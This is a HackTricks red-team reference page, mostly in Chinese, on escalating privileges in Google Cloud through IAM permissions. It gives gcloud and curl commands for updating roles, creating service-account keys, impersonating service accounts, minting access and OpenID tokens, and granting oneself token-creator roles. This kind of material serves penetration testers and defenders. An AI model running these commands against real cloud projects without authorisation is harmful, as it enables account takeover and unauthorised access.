GCP - IAM Privesc

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

IAM

有关 IAM 的更多信息请参见：

GCP - IAM, Principals & Org Policies Enum

iam.roles.update (iam.roles.get)

具有上述权限的 attacker 能够更新分配给你的角色，并授予你对其他资源的额外权限，例如：

gcloud iam roles update <rol name> --project <project> --add-permissions <permission>

您可以找到一个脚本来自动化 creation, exploit and cleaning of a vuln environment here，以及一个用于滥用此权限的 python 脚本 here。如需更多信息，请查看 original research.

gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>

iam.roles.create & iam.serviceAccounts.setIamPolicy

iam.roles.create 权限允许在项目/组织中创建自定义角色。落入攻击者之手时，这非常危险，因为它使攻击者能够定义新的权限集合，随后可以将这些权限分配给实体（例如使用 iam.serviceAccounts.setIamPolicy 权限），以达到提权的目的。

gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"

iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)

具有上述权限的攻击者将能够 request an access token that belongs to a Service Account，因此可能请求到权限高于我们的 Service Account 的 access token。

gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

iam.serviceAccountKeys.create

拥有上述权限的攻击者将能够 create a user-managed key for a Service Account，这将允许我们以该 Service Account 的身份访问 GCP。

gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json

gcloud auth activate-service-account --key-file=sa_cred.json

你可以在 此处 找到一个脚本，用于自动化漏洞环境的创建、利用和清理，另外在 此处 有一个用于滥用该权限的 Python 脚本。欲了解更多信息，请查看 原始研究。

注意，iam.serviceAccountKeys.update 无法用来修改某个 Service Account 的密钥，因为执行该操作还需要权限 iam.serviceAccountKeys.create。

iam.serviceAccounts.implicitDelegation

如果你对某个 Service Account 拥有 iam.serviceAccounts.implicitDelegation 权限，而该 Service Account 对第三个 Service Account 拥有 iam.serviceAccounts.getAccessToken 权限，那么你可以使用 implicitDelegation 为该第三个 Service Account 创建一个令牌。下面的图可以帮助说明。

注意，根据文档，gcloud 的委派仅在使用 generateAccessToken() 方法生成令牌时有效。因此，下面展示了如何直接使用 API 获取令牌：

curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

iam.serviceAccounts.signBlob

具有所述权限的攻击者将能够 在 GCP 中对任意负载进行签名。因此可以 创建目标 SA 的未签名 JWT，然后将其作为 blob 发送以让该 SA 对 JWT 进行签名。欲了解更多信息 read this.

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here and here. For more information check the original research.

iam.serviceAccounts.signJwt

具有所述权限的攻击者将能够 签署格式正确的 JSON web tokens (JWTs)。与前一种方法的区别在于，不是让 google 对包含 JWT 的 blob 进行签名，而是使用 signJWT 方法，该方法已经期望接收一个 JWT。这使得使用更加方便，但你只能签名 JWT，而不能签名任意字节。

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

iam.serviceAccounts.setIamPolicy

具有所述权限的攻击者将能够 向服务账户添加 IAM 策略。你可以滥用它来 授予自己 模拟该服务账户所需的权限。在下面的示例中我们将 roles/iam.serviceAccountTokenCreator 角色授予我们自己，针对感兴趣的 SA：

gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"

# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"

You can find a script to automate the creation, exploit and cleaning of a vuln environment here.

iam.serviceAccounts.actAs

iam.serviceAccounts.actAs permission 类似于 iam:PassRole permission from AWS。它对于执行诸如启动 Compute Engine 实例等任务是必需的，因为它授予以 服务帐号 “actAs” 的能力，从而确保权限管理的安全性。没有这个权限，用户可能会获得不当的访问。另外，滥用 iam.serviceAccounts.actAs 有多种方法，每种方法需要一组权限，这与只需要单个权限的其他方法形成对比。

服务帐号冒充

冒充服务帐号对于 获得新的、更高级的权限 非常有用。你可以通过三种方式来 impersonate another service account:

  • 使用 RSA private keys 进行认证（上文已涉及）
  • 使用 Cloud IAM policies 进行授权（在此处讨论）
  • Deploying jobs on GCP services（更适用于用户帐号被入侵的情形）

iam.serviceAccounts.getOpenIdToken

拥有上述权限的攻击者能够生成 OpenID JWT。这些令牌用于声明身份，但不一定对资源带有隐含的授权。

根据这篇 interesting post，需要指定 audience（即你希望用该令牌进行认证的服务），你将收到一个由 google 签名的 JWT，指出 service account 和 JWT 的 audience。

如果你有权限，可以使用以下方式生成 OpenIDToken：

# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com

然后你就可以用它来访问该服务：

curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app

支持通过此类 tokens 进行身份验证的一些服务有：

你可以在 here 找到一个如何为服务账号创建 OpenID token 的示例。

参考

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks